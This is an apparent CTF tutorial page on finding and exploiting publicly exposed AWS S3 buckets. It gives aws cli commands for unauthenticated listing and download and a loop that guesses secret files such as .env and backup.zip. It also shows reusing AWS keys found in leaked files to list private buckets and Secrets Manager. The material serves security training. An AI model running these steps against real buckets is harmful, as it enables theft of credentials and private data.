S3 Misconfiguration
Find and exploit insecure S3 bucket permissions in CTF cloud challenges.
S3 Misconfiguration
AWS S3 buckets are private by default, but misconfigured bucket policies and ACLs frequently expose sensitive files to unauthenticated access. In CTFs, public S3 buckets are one of the most common cloud challenge types — you enumerate bucket names, list objects, and download whatever's exposed.
The attack surface is predictable: bucket names are guessable, object names follow conventions, and error messages reveal whether a bucket exists.
Discovery Workflow
Common Misconfigurations
| Misconfiguration | Impact |
|---|---|
| Public read on bucket/object | Anyone can download files |
Public list (s3:ListBucket) | Attackers enumerate all object names |
Public write (s3:PutObject) | Defacement, overwrite, stored payload |
| Overly broad ACL / bucket policy | Cross-account unintended access |
Enumeration
# Unauthenticated listing
aws s3 ls s3://target-bucket --no-sign-request
# Recursive listing
aws s3 ls s3://target-bucket --recursive --no-sign-request
# Download a specific file
aws s3 cp s3://target-bucket/flag.txt - --no-sign-request
# API-level listing (more detail)
aws s3api list-objects-v2 --bucket target-bucket --no-sign-requestGuess bucket names from the target domain: company-backup, company-assets, ctf-prod-logs, static-target-com.
Enumeration Steps
Generate Bucket Name Candidates
From the target domain, company name, or challenge description: company-backup, company-assets, prod-logs, ctf-static, backup-2024.
Test Unauthenticated Access
aws s3 ls s3://target-bucket --no-sign-requestParse the error: NoSuchBucket = doesn't exist, AccessDenied = exists but denied.
Enumerate Objects (if listing works)
aws s3 sync s3://target-bucket /tmp/loot --no-sign-requestGuess High-Value Objects (if listing denied)
for f in flag.txt flag flags/flag.txt .env .env.production \
backup.zip db.sql secrets.json config.json; do
aws s3 cp s3://target-bucket/$f /tmp/$f --no-sign-request 2>/dev/null \
&& echo "Found: $f"
doneRe-enumerate with Credentials (if found)
If .env or backup contained AWS keys:
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
aws s3 ls s3://private-bucket # now authenticated
aws secretsmanager list-secretsPolicy and ACL Analysis
CTF Loot Priority
flag.txt,flags/,ctf/.env,.env.production,config.jsonbackup.zip,db.sql,dump/logs/— often contain session tokens and API keys*.pem,*.key,kubeconfig
Checklist
- Enumerate likely bucket names from domain/company strings
- Try unauthenticated list/download with
--no-sign-request - Parse XML errors to distinguish non-existent vs access-denied
- Guess high-value object names (
flag,backup,env,secret) - If credentials found, re-enumerate with authenticated AWS CLI
- Check bucket policy for
"Principal": "*"statements
Last updated on